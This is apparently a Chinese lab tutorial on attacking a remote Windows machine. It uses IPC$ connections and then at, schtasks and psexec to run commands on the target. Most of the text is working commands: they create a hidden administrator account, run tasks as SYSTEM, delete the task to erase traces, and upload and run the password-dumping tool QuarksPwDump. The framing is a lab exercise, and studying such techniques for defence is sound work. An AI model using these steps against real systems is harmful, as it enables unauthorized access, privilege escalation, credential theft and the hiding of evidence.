远程连接方式有两种:
1.利用账号和密码连接
2.利用hash注入连接
实验环境:目标机win8
边缘机win7
实验步骤:
一、进行远程连接
1.查看本地共享,利用ipc$共享进行远程连接
2.输入以下命令进行远程连接
net use \\目标ip /user:用户名 密码
3.查看连接情况,显示连接成功
二、执行程序
方法一:利用at计划任务执行程序命令
1.首先查看目标机的时间是否和本机时间一致
net time \\目标ip
2.利用at命令添加计划任务
at \\目标ip 任务执行时间 命令
at \\192.168.240.139 13:25 net user cc 123.com /add
3.到设定时间返回目标机查看发现创建成功
4.利用at将该用户添加到管理员组
at \\192.168.240.139 13:30 net localgroup administrators cc /add
5.到设定时间返回查看
6.也可利用bat文件执行,首先在c盘创建一个bat文件(bat内容如下)
7.将该文件复制到目标机上,可通过共享文件复制,也可通过命令行复制,并查看里边内容
复制内容到目标机:copy 1.bat \\192.168.240.139\c$\1.bat
查看内容:type \\192.168.240.139\c$\1.bat
8.然后利用at添加计划任务
at \\192.168.240.139 13:46 192.168.240.139\c$\1.bat
或at \\192.168.240.139 13:46 c:\1.bat
9.到设定时间返回查看,可见命令执行成功
方法二:利用schtasks计划命令执行
schtasks /create /tn aa /tr c:\1.bat /sc once /st 14:01:20 /S 目标ip /U username /P password /RU System
/tn 任务名字
/tr 文件
/sc 次数
/st 时间
/s 目标ip
/u 用户名
/p 密码
/RU 系统身份
如果想要任务立即执行,可输入:
schtasks /run /tn aa /s 目标ip /u 用户名 /p 密码
任务执行完,记得删除痕迹:
schtasks /F /delete /tn aa /s 目标ip /u 用户名 /p 密码
方法三:利用psexec远程执行命令
1.输入:
psexec.exe \\ip –accepteula -u username -p password program.exe
此时看到的就是目标服务器的cmd.exe
2.如果想上传如见到目标机,可依次输入:
net use \\目标机ip\c$ /user:administrator 密码
copy QuarksPwDump.exe \\目标机ip\c$\
在目标机可看见上传成功
3.利用psexec自带的参数上传程序到目标机,执行完后自动删除
Psexec.exe \\目标机ip -u 用户 -p 密码 -c QuarksPwDump.exe -d